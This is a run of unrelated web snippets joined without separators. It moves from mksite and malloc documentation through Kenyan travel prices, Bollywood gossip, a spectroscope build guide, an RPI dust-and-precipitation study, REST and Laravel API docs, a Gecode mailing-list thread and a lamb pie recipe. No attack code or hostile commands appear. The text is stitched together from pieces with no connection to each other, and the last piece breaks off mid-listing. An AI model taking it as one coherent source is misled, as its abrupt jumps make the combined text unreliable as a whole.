Most people do not read the source code. I have tried to make it as readable as possible. But it is still shell code and many have a hard time to get clue. And even that they do not change the shell script they still want to make use of it. So that needs us to describe all the features in all their detail.
Well, there is already a lot to say about the features already available. I am still hoping for submissions though. From the features left to be described:
<mksite:listsitemapstyle>
but may be
you want <mksite:multisitemapstyle>
<mksite:listsectionstyle>
but may be
you want <mksite:multisectionstyle>
<date>2004-33-66</date>
and <DCMIType>Software</DCMIType>
in the source htm text.
<mksite:alternative:selectvar something>
in the sitefile that cuts off the page with something. Enable it in
the page source file via
<mksite:alternative:selectvar something>
.


[1]
tin hau metro , and 15 minutes walk to the main shopping areas of causeway bay .
[2]
harbour view rooms also overlook victoria park , the few open green spaces in hong kong .


Sirville Elementaita at Kshs. 6,000
Lake Naivasha Sopa Lodge at Kshs. 9,900
Enashipai Resort Spa and Lodge at Kshs. 13,250
Plaza Beach Hotel - 3 days at Kshs. 13,000
Neptune Bamburi - 5 days at Kshs. 30,600
Amani Tiwi - 3 days at Kshs. 19,800
3 Days Masai Mara Budget Package at Kshs. 14,500
4 Days Neptune Beach Bamburi at Kshs. 20,200
4 Days Voi Wildlife & Bamburi Beach at Kshs. 28,600
Wildebeest migration adventure 3 Days from Kshs. 14,500
5 Days, 4 Nights packages from Kshs. 15,500
3 Days, 2 Nights Ngare Ndare Camping from Kshs. 16,000
Includes 4 nights' accommodation, return flights, airport transfers, full day safari Blue Island excursion, sunset cruise from Kshs. 79,300
Explore some of the best locations ins Europe: Rome, Amsterdam, Paris, Venice, Lugano. Rate per person sharing: Kshs. 290,000
Destinations: Samburu, Mt. Kenya Safari and Mombasa. From Kshs. 163,500 per person sharing
Copyright © 2018 All rights reserved


|
Embedded Artistry Framework
Embedded Systems C++ Framework
|
Functions | |
| void | malloc_addblock (void *addr, size_t size) |
| Assign blocks of memory for use by malloc(). More... | |
| __attribute__ ((weak)) void malloc_init() | |
| void * | malloc (size_t size) |
| Allocates size bytes of uninitialized storage. More... | |
| void | free (void *ptr) |
| Deallocates allocated memory space. More... | |
| __attribute__ | ( | (weak) | ) |
References embvm::VirtualHeap< THeapImpl >::init().
| void free | ( | void * | ptr | ) |
Deallocates allocated memory space.
Deallocates the space previously allocated by
The behavior is undefined if the value of ptr does not equal a value returned earlier by
The behavior is undefined if the memory area referred to by ptr has already been deallocated, that is, free() or realloc has already been called with ptr as the argument and no calls to malloc, calloc or realloc resulted in a pointer equal to ptr afterwards.
The behavior is undefined if after free returns, an access is made through the pointer ptr (unless another allocation function happened to result in a pointer value equal to ptr)
| ptr | pointer to the memory to deallocate |
References embvm::VirtualHeap< THeapImpl >::free().
| void* malloc | ( | size_t | size | ) |
Allocates size bytes of uninitialized storage.
If size is zero, the behavior is implementation defined (null pointer may be returned, or some non-null pointer may be returned that may not be used to access storage, but has to be passed to
| size | number of bytes to allocate |
References embvm::VirtualHeap< THeapImpl >::alloc().
| void malloc_addblock | ( | void * | addr, |
| size_t | size | ||
| ) |
Assign blocks of memory for use by malloc().
Initializes the malloc() backend with a memory address and memory pool size. This memory is assumed to be owned by malloc() and is vended out when memory is requested. Multiple blocks can be added.
NOTE: This API must be called before malloc() can be used. If you call malloc() before allocating memory, malloc() will return NULL because there is no available memory to provide to the user.
| addr | Pointer to the memory block address that you are providing to malloc() |
| size | Size of the memory block that you are providing to malloc() |
References embvm::VirtualHeap< THeapImpl >::addBlock().


Photos of the day: From ‘Ankhiyon Se Goli Maare’ song launch to Aishwarya Rai Bachchan’s NGO visit to celebrity spotting, here’s what grabbed headlines today
by TIMESOFINDIA.COMIt was an eventful day in B-town with the much awaited song launch of ‘Pati Patni Aur Woh’ to Aishwarya Rai bachchan’s NGO visit with mother Vrinda Rai and daughter Aaradhya in tow. Many celebrities also treated the paparazzi with their pictures as they were spotted around the town.
‘Ankhiyon Se Goli Maare’ song launch
Team ‘Pati Patni Aur Woh’ came together to launch the most awaited and peppy track of the film, ‘Ankhiyon Se Goli Maare’. Kartik Aaryan, Bhumi Pednekar and Ananya Panday were seen dazzling on the stage as they released the reprised version of the popular song from the 90s.
Aishwarya Rai Bachchan visits an NGO with mother and Aaradhya
Aishwarya Rai Bachchan made her presence felt at an NGO in the city for an event along with her mother Vrinda Rai and daughter Aaradhay Bachchan. The trio were seen spending time with the children in the NGO. They were also seen posing for the shutterbugs at the event.
Priyanka Chopra, Varun Dhawan and others snapped around the town
Priyanka Chopra, who is currently in the bay, was snapped outside mother Madhu Chopra’s clinic in Juhu, Mumbai. She was seen sitting inside her car, busy on her phone as she was snapped by the paparazzi outside.
Varun, on the other hand was snapped with a coffee in his hand as he made his way to his car. Karan Johar, on the other hand was snapped at the airport, looking all dapper as ever.
Disha Patani also looked pretty as ever as she got snapped by the paparazzi at Khar in Mumabi.


AEPKS
Fraternity
Brothers
Events
Smoker
Contact
Brothers
Executive Board
Officers
Active Members
Advisors


Config files
Allegro supports reading and writing of configuration files with a simple, INI file-like format.
A configuration file consists of key-value pairs separated by newlines. Keys are separated from values by an equals sign (=
). All whitespace before the key, after the value and immediately adjacent to the equals sign is ignored. Keys and values may have whitespace characters within them. Keys do not need to be unique, but all but the last one are ignored.
The hash (#
) character is used a comment when it is the first non-whitespace character on the line. All characters following that character are ignored to the end of the line. The hash character anywhere else on the line has no special significance.
Key-value pairs can be optionally grouped into sections, which are declared by surrounding a section name with square brackets ([
and ]
) on a single line. Whitespace before the opening bracket is ignored. All characters after the trailing bracket are also ignored.
All key-value pairs that follow a section declaration belong to the last declared section. Key-value pairs that don't follow any section declarations belong to the global section. Sections do not nest.
Here is an example configuration file:
# Monster description
monster name = Allegro Developer
[weapon 0]
damage = 443
[weapon 1]
damage = 503
It can then be accessed like this (make sure to check for errors in an actual program):
VAR
Cfg: ALLEGRO_CONFIGptr;
BEGIN
cfg := al_load_config_file ('test.cfg');
WriteLn (al_get_config_value (Cfg, '', 'monster name')); { Prints: Allegro Developer }
WriteLn (al_get_config_value (Cfg, 'weapon 0', "damage')); { Prints: 443 }
WriteLn (al_get_config_value (Cfg, 'weapon 1', 'damage')); { Prints: 503 }
al_destroy_config (Cfg)
END.
See also: al_load_config_file


Create regression tables for publication. Currently supports 'lm', 'glm', 'survreg', and 'ivreg' outputs.
| Version: | 0.2.2 |
| Depends: | R (≥ 3.0) |
| Imports: | magrittr, reshape2, sandwich, stats, stringr, tidyr, utils |
| Suggests: | AER, survival, testthat |
| Published: | 2017-03-14 |
| Author: | Kota Mori [aut, cre] |
| Maintainer: | Kota Mori <kmori05 at gmail.com> |
| BugReports: | https://github.com/kota7/outreg/issues |
| License: | MIT + file LICENSE |
| URL: | https://github.com/kota7/outreg |
| NeedsCompilation: | no |
| Materials: | README |
| CRAN checks: | outreg results |
| Reference manual: | outreg.pdf |
| Package source: | outreg_0.2.2.tar.gz |
| Windows binaries: | r-devel: outreg_0.2.2.zip, r-release: outreg_0.2.2.zip, r-oldrel: outreg_0.2.2.zip |
| OS X binaries: | r-release: outreg_0.2.2.tgz, r-oldrel: outreg_0.2.2.tgz |
Please use the canonical form https://CRAN.R-project.org/package=outreg to link to this page.


SweetFreeStuff.com
///////////////////////////////////////////
Free Hot Tamales Tropical Heat Theatre Box 5oz at Rite Aid
Posted: 01 Sep 2015 10:25 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Get your coupon for a FREE Hot Tamales Tropical Heat Theatre Box 5oz Coupon
available to the first 33,000 fans.
The post Free Hot Tamales Tropical Heat Theatre Box 5oz at Rite Aid
appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Daily Coffee at Panera Bread in September
Posted: 01 Sep 2015 09:52 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Current Panera Bread Members can redeem your reward for Free Daily Coffee
in September. Limit one free coffee per day. If you arent a current member,
you can get a FREE Pastry or Sweet by signing up to be a member.
The post Free Daily Coffee at Panera Bread in September appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Quick Strike Energy Drink & Mars Chocolate Bar at Murphy USA
Posted: 01 Sep 2015 08:29 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Login or register and check your offers. Free Quick Strike Energy Drink
Mars Chocolate Bar at Murphy USA
The post Free Quick Strike Energy Drink Mars Chocolate Bar at Murphy USA
appeared first on SweetFreeStuff.com.
///////////////////////////////////////////
Allure Free Stuff in September
Posted: 01 Sep 2015 03:09 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
The first 500 Allure readers to sign up at noon EST each day from September
8-11 will receive a free beauty product! Allure Free Stuff in September
The post Allure Free Stuff in September appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Sample of Nexcare Waterproof Bandages
Posted: 01 Sep 2015 01:40 AM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Click on Sample, Please and then fill out the form.
The post Free Sample of Nexcare Waterproof Bandages appeared first on
SweetFreeStuff.com.
///////////////////////////////////////////
Free Flat Tire Repair, Rotation & Inspection at Mr. Tire
Posted: 31 Aug 2015 10:00 PM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Free Flat Tire Repair, Rotation Inspection at Mr. Tire
The post Free Flat Tire Repair, Rotation Inspection at Mr. Tire appeared
first on SweetFreeStuff.com.
///////////////////////////////////////////
Free Subscription to Mens Journal
Posted: 31 Aug 2015 02:12 PM PDT
http://feedproxy.google.com/&edburner&utm_medium=email
Free Subscription to Mens Journal
The post Free Subscription to Mens Journal appeared first on
SweetFreeStuff.com.


SpectraSnapp is an app designed to let you photograph the spectrum of any light source and compare it to spectra of various elements. If you are good, you can figure out what elements make up your light source.
The first step is to create a device, a spectroscope, which can break light from your light source into its various colors.
SpectraSnapp Spectroscope:
Materials:
- Diffraction grating: 500 or more lines per millimeter. (Rainbow or 'fireworks glasses' work well. Diffraction gratings can also be purchased here: http://www.sciencestuff.com/prod/P-c/0529-L
- Black construction paper
- Electrical tape, preferably black
Instructions:
- Cut a 1 cm by 1 cm square of diffraction grating.
- Determine the direction of the diffraction grating lines by holding it up to a light and seeing the direction of the rainbow you see. The lines of the diffraction grating are perpendicular to the rainbow.
- Some types of 'fireworks' glasses will produce rainbows in both directions. This won't affect how the spectrum is produced, but your photos will have a spectrum both horizontally and vertically. Continue to follow the directions as written.
- Tape the diffraction grating over the lens of the iPhone camera so that the lines of the diffraction grating are horizontal.
- Cut the black construction paper into a rectangle that is 4.5 by 11 inches and roll it into a tube 11 inches long and roughly 1 inch or smaller in diameter. Tape the seam completely with black electrical tape. The length and black color of the tube allow less ambient light through to affect your results.
Cut one end of the tube at a slight angle.
- On the flat end of the tube use electrical tape to create a slit that is a millimeter or less in width. The smaller this slit, the better the spectrum.
- Attach the angled end of the tube over the lens of the iPhone with electrical tape allowing as little light in as possible. Make sure the slit in the end of the tube is in the same direction as the one covering the diffraction grating and lens.
- Turn on your iPhone's camera and point the slit on the end of the tube at a light source such as a light bulb or the sun. You should see a spectrum on your screen. You may have to move the tube around a bit to get the best picture.
- Snap a photo and see what kind of light source you have!
Tips and Tricks:
- Make sure that no light is getting in through the seal between the tube and the camera. Cover that seam completely with electrical tape.
- To get a good spectrum, make sure the slit at the end of the tube is pointed directly at the light source. If it's too bright and washed out, try aiming at a nearby wall to catch the reflected light. You may have to move the tube around a bit while keeping the camera still.
- Try many different light sources. Some of our favorites are colored party lights, LEDs, compact florescent blubs, neon signs, street lamps, the sun and lasers of various colors.


This research project was conducted under my supervision at Rensselaer Polytechnic Institute (RPI), My student worked on this project under my guidlines and mentoring is: Ariane Maharaj. This project was a collaboration with the NASA - Interagency Implementation and Advanced Concepts Team (IMPACT) and part of the Data Analytics course that I taught during Spring 2020 at Rensselaer Polytechnic Institute.
Outcome of this project was published as a conference paper in IEEE BigData Conference ( IEEE BigData) IEEE 2nd Workshop on Machine Learning for Big Data Analytics in Remote Sensing in December, 2020 (Virtual).
The effect of dust on precipitation at high latitudeshas not been adequately explored as most of this research hasbeen restricted to mid- and low-latitude regions. Even so, at theselower latitudes the relationship between dust and precipitation still has not been distinctly established. The purpose of this studyis to act as a starting point for understanding the role dustplays in precipitation processes at high latitudes. Knowledge of the effects dust can have on precipitation will allow forbetter prediction and forecasting through an improvement ofregional and global climate models. In order to investigate thisrelationship, we looked at instances of high-latitude dust and precipitation amounts specifically in regions of Alaska, Icelandand Patagonia. The precipitation data were separated in terms of days where dust was present, versus absent (binary basis).Most of the precipitation averages were low with the highestprecipitation amounts seen only on days without dust. The datawere also separated into four specific days surrounding the dustevent (4-day basis); the day before the dust event, the day of,one day after and two days after. The day of and one day afterwere limited to having lower levels of precipitation whereas theday before and two days after exhibited a broader range ofprecipitation levels, which included the highest amounts. These initial observations indicated more of a negative relationship between the high-latitude dust events and precipitation. Two classifications of precipitation intensity were created and testedfor the purpose of this study. After which, correlation analyses(Chi-Square Test, Fisher’s Exact Test and Rank Correlations) and classification modeling (Decision Tree modeling) were applied. The p-values from the correlation analyses were less than 0.05 suggesting that there is likely a statistically significant relationship between the high-latitude dust events and precipitation, and this relationship again appears to be slightly negative. The classification models were able to predict the precipitation amounts for the days surrounding the dust events using the two classifications. However, they were not specifically able to distinguish between each of the categories for the classifications as most of the data were in the lower categories.
The high-latitude dust data images were shared with Rensselaer Polytechnic Institute by the NASA Interagency Implementation and Advanced Concepts Team (IMPACT). It included 206 images of high-latitude dust which were produced as part of NASA’s Global Imagery Browse Service (GIBS). These images were extracted in conjunction with their corresponding dates and bounding box coordinates in Alaska, Iceland and Patagonia. The dates and coordinates were used to manually obtain the precipitation data from NASA’s Global Precipitation Measurement (GPM) Mission . For days where there were multiple dust events in the same general location, the bounding box for acquiring the precipitation data was chosen as the minimum extent containing all of the dust events. The post-processing resulted in 112 unique dust events that were used in obtaining the GPM data.
The overall aim of this project is to add to the investigation into how the presence of dust affects the amounts of precipitation of a region and gain insights into a time line for how long the effect, if any, can be observed. This study also looks to predict precipitation amounts based on the days surrounding the dust event, specifically the 4-day separation. As such, the precipitation was first classified based on intensity.
In order to optimize the model to achieve the goal of splitting the data into four separate leaf nodes distinctive of each specific day, multiple variations of the Initial Classi-fication were tested. This included; changing the limits ofeach of the classes, removing a class, that is, only having “Light”, “Moderate”, “Heavy”, as well as, adding in extraclasses such as “Trace” and “Very Light”. The most successful classification in terms of achieving the goal was an expanded classification of sorts in which the lower end of the spectrum, where most of the data were restricted to, was broken into two classes and the ranges for other categories were expanded shown in the Table below. The preliminary analysis resulted in the decision tree model shown below, splitting the data into 3 groups; “dayof” the dust event, the “day before” and the days after (“1 dayafter” and “2 days after”).
In order to determine what was contributing to the significance in the Chi-Square Test, the residuals, that is, the difference between the observed and the expected frequencies, were considered.
The relationship between dust and precipitation in the high latitude regions of Alaska, Iceland and Patagonia was investigated through multiple correlation analysis techniques and decision tree modelling. Results from this study indicate that when high-latitude dust is absent, observed precipitation can increase. The high latitude regions exhibited lower levels of precipitation regardless of the presence or absence of dust, and heavier precipitation was only seen (as outliers) in the absence of dust. Additionally, the correlation analyses seem to suggest a statistically significant relationship between high-latitude dust and precipitation with p-values less than 0.05. The relationship appears to be negative based on the residuals from the Chi-Square Test as well as the correlation coefficients from the rank correlations, which corresponds with initial observations made during the exploratory data analysis.


The chief package of JSPWiki.
Package Specification
Related Documentation


 What can I say? We get really into co-op over here. As luck would have it, Amazon and Walmart are selling the DualShock 4 in a bunch of different colors for $39 for Black Friday week.
Right now, those and other retailers are stocked with quite a few color variants:
- Blue Camouflage
- Crystal (my personal favorite – it's translucent)
- Electric Purple
- Fortnite Jet Black (with 500 V-Bucks and Epic Neo items)
- Glacier White
- Gold
- Green Camouflage
- Magma Red
- Midnight Blue
- Red Camouflage
- Rose Gold
- Steel Black
- Titanium Blue
You don't even need to leave the house, which is great, because it's officially Too Cold outside.
I was torn between getting either a Glacier White, Magma Red, or Titanium Blue controller, and my gut told me to go with the latter option. I'm expecting buyer's remorse to kick in any second now.
Disclosure-bot: Just in case the editor neglected to mention it, we have zero control when deals start and end. Deals can sometimes be gone within minutes (please don't shoot the messenger). Trying deal links even hours after this article's time stamp may lead to self-punching, so maybe bookmark our video game deals if you're on the hunt. Also, it goes without saying, but some shopping links do directly support the author. If you've spotted any inaccuracy please let us know asap.


|
|||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |
See:
Description
| Class Summary | |
|---|---|
| MimeType | Helper class for content type. |
Enunciate's REST model is used to provide the metadata required to publish web services in a RESTful manner. The REST model encourages adherence to the fundamental design principles of REST, i.e.:
(see Representational State Transfer on Wikipedia)
Enunciate's REST model encourages adherence to these principles by applying a mapping between REST resources/methods and Java web operations.
The invocation of a RESTful web operation can be associated metaphorically with an English sentence. Each sentence has a verb, a noun (possibly a proper noun), and an optional set of adjectives that describe the verb and the noun, respectively. Likewise, a RESTful web operation has a verb (contrained to a small set, e.g. create, read, update, and delete), a noun (i.e. a resource), and optionally a set of adjectives that describe more specifically on what kind of noun to perform the action. Each Java web operation is that is mapped to RESTful invocation is assigned a verb, a noun, and an optional set of adjectives. Some verbs also support a "noun value" that is the value that is to be associated with the noun.
In it's simplest form, a void no-arg method can be invoked when its verb is applied to its noun. Assuming HTTP, the verb is the HTTP method, and the noun is identified by the URL. For example, consider a Java method defined like so:
public void ping();
If the verb "create" and the noun "ping" are assigned to the method, the "sentence" associated with this method becomes "Create a ping.", and it could be invoked RESTfully over HTTP 1.1 by sending the following over a TCP connection to the endpoint:
PUT /ping HTTP/1.1
It is often desireable to perform an action on a specific noun. Nouns are identified in english sentences by the use of a "proper noun." The noun "person," for example, is often identified specifically through the use of a name, e.g. "Bob." Consider, then, a Java method that is used to retrieve a specific person object out of a database:
public Person getPerson(String personId);
If the verb "read" and the noun "person" were assigned to the method, and the parameter "personId" was identified as a proper noun, the "sentence" associated with this method becomes "get person 12345" where "12345" is the value of the parameter. It could be invoked RESTfully over HTTP 1.1 by sending the following over a TCP connection to the endpoint:
GET /person/12345 HTTP/1.1
While REST implies the use of only one noun (possibly identified by a proper noun), there could be additional parameters to a method invocation adding specificity to what kind of noun to invoke the method on. Consider the following Java method used to find a person by name and birthday (note that in this case, there is no parameter identified as a proper noun):
public Person findPerson(String name, java.util.Date birthday);
If the verb "read" and the noun "person" were assigned to this method, and the parameters used were "Bob" and "01.01.2006" for the name and birthday respectively, the "sentence" associated with this method becomes "find the person whose name is 'Bob' and whose birthday is '01.01.2006'". It could be invoked RESTfully over HTTP 1.1 by sending the following over a TCP connection to the endpoint:
GET /person?name=Bob&birthday=01.01.2006 HTTP/1.1
Enunciate uses JAXB 2.0 to marshal and unmarshal Java objects to/from XML. Since the proper noun and all adjectives must be put on a URL, Enunciate requires the proper noun and all adjectives to be JAXB 2.0 simple types, which means the parameter types of for the adjectives must have a single value element with no attributes. Built-in, these types include the Java primitive types, their associated wrapper classes, java.lang.String, and enums. There is a special exception that adjectives can be a collection or array of simple types.
If there is a parameter type that is a complex type, it must be specified as the noun value for the method. Only the "create" and "update" verbs support a noun value, and only one noun value can be specified per method. Furthermore, complex objects must be JAXB 2.0 root elements in order to correctly. marshall and unmarshall. The return type of a method, if exists, must always be a JAXB 2.0 root element.
At this time, Enunciate does not enable XOP. All binary data is serialized as base64-encoded data.
Exceptions that are thrown will result in an HTTP response code and message. The default error code is 500. Currently, the content of the HTTP response for errors is container-specific and undefined.
REST contrains the set of verbs that can be applied to the available resources. The Enunciate REST Model defines this set to be { "create", "read", "update", "delete" }. Since Enunciate currently only supports HTTP as the RESTful invocation mechanism, it associates this set of verbs with HTTP methods "PUT," "GET," "POST," and "DELETE". The following describes how each verb is applied to its associated noun and adjectives.
The "create" verb is mapped to the HTTP method "PUT." There are no constraints on its use in terms of a proper noun or adjectives, but to "create" a noun often implies the use of a noun value.
Example:
void createPerson(Person value);
HTTP invocation:
PUT /person HTTP/1.1
Content-Type: text/xml
<person><name>Bob</name><birthday>01.01.2006</birthday></person>
Read is the default verb. It is mapped to the HTTP method "GET." The "read" verb does not support the use of a noun value. The read verb often, but not always, implies a proper noun and an optional set of adjectives.
Example:
Person getPerson(String personId);
HTTP invocation:
GET /person/12345 HTTP/1.1
The "update" verb is mapped to the HTTP method "POST." The only real difference between the "update" verb and the "create" verb is that the "update" verb more often implies a proper noun.
Example:
void updatePerson(String personId, Person value);
HTTP invocation:
POST /person/12345 HTTP/1.1
Content-Type: text/xml
<person><name>Bob</name><birthday>01.01.2006</birthday></person>
The "delete" verb is mapped to the HTTP method "DELETE." Like the "read" verb, this verb does not support a noun value.
Example:
void deletePerson(String personId);
HTTP invocation:
DELETE /person/12345 HTTP/1.1
|
|||||||||
| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |


% include com/stdhead.html %>
<%- include('com/nav.html', {navClass: ''}) %>
404 - Page not found
<% include com/footer-light.html %> <% include com/stdjs.html %>


[gecode-users] segfault with floating-point vars
Christian Schulte
cschulte at kth.se
Thu May 23 13:06:17 CEST 2013
Hi Peter,
Vincent Barichard did it for us and we just helped him merge.
I am quite happy because it shows that Gecode and its documentation is
accessible enough that our users can pull something like this off.
Christian
--
Christian Schulte, Professor of Computer Science, KTH,
www.ict.kth.se/~cschulte/
From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf
Of Peter Nightingale
Sent: Thursday, May 23, 2013 12:12 PM
To: Guido Tack
Cc: users at gecode.org
Subject: Re: [gecode-users] segfault with floating-point vars
Thanks a lot Guido, that works fine now.
I'm impressed that you took the plunge and implemented floating point
propagators.
Pete
On 21/05/13 18:51, Guido Tack wrote:
Yes, thanks for pointing that out. I just fixed it in the trunk (I hope).
Cheers,
Guido
--
Guido Tack
http://www.csse.monash.edu/~guidot/ <http://www.csse.monash.edu/%7Eguidot/>
On 16/05/2013, at 3:23 PM, Peter Nightingale <pwn1 at st-andrews.ac.uk> wrote:
Thanks a lot Guido,
I think maybe Gecode needs to output floats rather than ints, Minizinc seems
to be complaining when parsing solution from Gecode. See output below.
pn at tamnavulin:~/chrischoi$ fzn-gecode wolf_goat_cabbage.fzn
F = 20;
I = -1;
L = -4.49423e+306;
N = -2;
R = -6.7039e+153;
k = -1;
----------
pn at tamnavulin:~/chrischoi$ mzn-gecode wolf_goat_cabbage.mzn
<standard input>:1:
type-inst error: assignment value for `F' has invalid type-inst: expected
`var float', actual `int'
<standard input>:2:
type-inst error: assignment value for `I' has invalid type-inst: expected
`var float', actual `int'
<standard input>:4:
type-inst error: assignment value for `N' has invalid type-inst: expected
`var float', actual `int'
<standard input>:6:
type-inst error: assignment value for `k' has invalid type-inst: expected
`var float', actual `int'
On 16/05/13 01:47, Guido Tack wrote:
Thanks, that was a simple bug in the FlatZinc parser, I just fixed it in the
svn.
Cheers,
Guido
On 16/05/2013, at 8:32 AM, Peter Nightingale <pwn1 at st-andrews.ac.uk> wrote:
Hi,
I get a segfault with the attached file, through mzn-gecode (with minizinc
1.6 and gecode 4.0.0 compiled from source, on Ubuntu 13.04 64-bit)
I see you have fixed a segfault for Stefano Gualandi, perhaps this file will
also work now?
Don't worry if this is not an easy fix. The problem is not that important,
and organizing CP takes higher priority!
Peter
<wolf_goat_cabbage.mzn>_______________________________________________
Gecode users mailing list
users at gecode.org
https://www.gecode.org/mailman/listinfo/gecode-users
_______________________________________________
Gecode users mailing list
users at gecode.org
https://www.gecode.org/mailman/listinfo/gecode-users
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.gecode.org/pipermail/users/attachments/20130523/cca5c532/attachment.html>
More information about the users
mailing list


Before Change
def setUp(self):
super(EncodeListwiseFeaturesTest, self).setUp()
self.context_feature_columns = _context_feature_columns()
self.example_feature_columns = _example_feature_columns()
// Batch size = 2, list_size = 2.
self.features = _features()
After Change
def setUp(self):
super(EncodeListwiseFeaturesTest, self).setUp()
(context_feature_columns, example_feature_columns,
custom_objects) = _get_feature_columns()
self._context_feature_columns = context_feature_columns
self._example_feature_columns = example_feature_columns
self._custom_objects = custom_objects


Rich and Scalable Set Exploration using Visualizations of Element Aggregations
Rich and Scalable Set Exploration using Visualizations of Element Aggregations
Datasets commonly include multi-value (set-typed) attributes that describe set memberships over elements;
such as genres per movie or courses taken per student.
These attributes describe rich relations across elements, sets, and set intersections. Venn diagrams
are intuitive, but
they cannot show more than a few sets and elements.
With AggreSet, you can explore set-typed data from overview to detail.
AggreSet supports rapid highlighting selection, filtering, comparison, and analysis of set relations
including subsets ⊆, identity =, disjoint sets ∅, and set intersection strength.
Use AggreSet now!
Load a sample data below, or
import your data.
AggreSet is now fully integrated into Keshif!
Just click on to open set matrix for multi-valued categorical summaries.


Preparation time
30 mins to 1 hour
Cooking time
1 to 2 hours
Serves
8
A traditional pie made with hot water pastry, as used in pork pies, plenty of tender lamb, herbs and sweet leeks.
Preheat the oven to 225C/440F/Gas 8.
Place a heavy baking tray into the oven to preheat.
Mix the flour, salt and icing sugar in a large bowl. Make a well in the middle of the dry ingredients and pour the egg into it. Scoop a liberal amount of flour over to cover the egg.
Place the water, butter and lard into a saucepan over a low heat and bring slowly to the boil.
Gradually pour the boiling liquid into the flour mixture, stirring with a knife constantly to combine, then knead on a clean, floured surface until the egg is completely combined and the pastry is smooth. (NB: use the pastry immediately to make your pie because when the pastry cools it will harden and become unmanageable.)
Cut off one third of the pastry and set this aside for the lid. Roll out the remaining pastry into a flat round shape large enough to line the base and sides of a 25cm/10in loose-bottomed cake tin, allowing an overhang of pastry of about 2cm/1in.
Roll out the pastry set aside for the lid to fit the top of the pie and set aside.
For the filling, heat a frying pan until hot, then add the butter, leeks and thyme and gently fry for 5-8 minutes, or until the leeks are tender. Set aside and allow to cool slightly.
Place the lamb into a food processor along with the parsley and mint leaves and pulse to chop finely. Season well with salt and freshly ground black pepper.
Spread the lamb mixture into the pastry case in a thick layer and then spread the leeks over the top.
Brush the edges of the pastry with a little beaten egg. Place the pastry lid on top of the filling and pinch and crimp the edges of the case and lid together to seal.
Trim away any excess pastry from the pie with a sharp knife and use the pastry trimmings to make decorative leaves for the top of the pie.
Brush the top of the pie with beaten egg and make a hole in the centre to allow the steam to escape. Arrange the pastry leaves on top and brush these with the beaten egg.
Place in the oven to cook for 15 minutes, then reduce the oven temperature to 180C/355F/Gas 4 and continue to bake for one hour. Remove from the oven and allow to cool for five minutes before serving.
To serve, cut out a wedge of pie and place onto a plate accompanied by buttered new potatoes and chantenay carrots.


--- layout: post title: Finity upcoming release and transition tags: finity author: Gertjan van Zwieten ---
Dear all. In the latest commit (r1279) I have updated the changelog to summarize our developments since last release. Please let me know if you feel that anything important is missing.
It is my intention to make one final release of finity, before entering a new development phase under its new name, nutils. If anyone objects, speak now or forever hold your peace.
Just kidding. You're too late. It's done.
This being the last finity version before killing it off, I think it is only appropriate for this one to bear Ned's name. Perhaps a little celebration memorial is in place. Next week when the release is out I will bring some cake to the office. People with too much time on their hands are invited to provide the decoration.
The Game of Thrones theme failed to shine, mainly because of the extremely low release frequency. Fortunately, we now have a golden opportunity to fix this. For reasons that will become clear in a second, let me propose the names of the next 17 major versions:
The incentive for releasing early and often is this: As of now, it shall be a tradition of the nutils project that every major version release is to be celebrated with the entire development team by dining on the corresponding dish.
Excursions to hard-to-find cuisine are totally allowed.
Of lesser importance is that we will aim to adopt a more professional branching strategy. I still need to study it a bit myself but I think that something of this kind, in combination with extensive unit testing, can prevent the pains that led some of us, thinking of people in particular, to abandon updates altogether.
More information will follow shortly. We will keep finity-dev as our main communication channel for now, taking this transition one step at a time.
First up is Ned's release; probably tomorrow, unless somebody objects. Not you Joffrey.
Gertjan


@*
* Copyright 2023 HM Revenue & Customs
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*@
@import config.ApplicationConfig
@this(
govuk_wrapper: govuk_wrapper,
govukButton: GovukButton,
hmrcPageHeading: HmrcPageHeading
)
@(implicit request: Request[_], messages: Messages, appConfig: ApplicationConfig)
@govuk_wrapper(title = messages("ers.app_title")) {
@hmrcPageHeading(PageHeading(
text = messages("ers_file_format_successful.page_title")
))
@Html(messages("ers_file_format_successful.sub_heading"))
@Html(messages("ers_file_format_successful.instructions"))
@govukButton(Button(
content = Text(messages("ers.finish")),
href = Some("https://www.gov.uk/done/employment-related-securities-files"),
attributes = Map("id" -> "finished"),
))
}


Definition at line 11389 of file _ide_helper.php.
| static connection |
( |
|
$name = null | ) |
|
|
static |
Get a remote connection instance.
- Parameters
-
- Returns
Definition at line 11409 of file _ide_helper.php.
| static define |
( |
|
$task, |
|
|
|
$commands |
|
) |
| |
|
static |
Define a set of commands as a task.
- Parameters
-
| string | $task | |
| string | array | $commands | |
- Returns
- void
Definition at line 11475 of file _ide_helper.php.
Display the given line using the default output.
- Parameters
-
- Returns
- void
Definition at line 11557 of file _ide_helper.php.
| static get |
( |
|
$remote, |
|
|
|
$local |
|
) |
| |
|
static |
Download the contents of a remote file.
- Parameters
-
| string | $remote | |
| string | $local | |
- Returns
- void
Definition at line 11511 of file _ide_helper.php.
| static getDefaultConnection |
( |
| ) |
|
|
static |
Get the gateway implementation.
- Returns
- Exceptions
-
Definition at line 11578 of file _ide_helper.php.
Get the output implementation for the connection.
- Returns
Definition at line 11588 of file _ide_helper.php.
| static getString |
( |
|
$remote | ) |
|
|
static |
Get the contents of a remote file.
- Parameters
-
- Returns
- string
Definition at line 11522 of file _ide_helper.php.
Get a connection group instance by name.
- Parameters
-
- Returns
Definition at line 11420 of file _ide_helper.php.
Get a remote connection instance.
- Parameters
-
| string | array | mixed | $name | |
- Returns
Definition at line 11398 of file _ide_helper.php.
| static multiple |
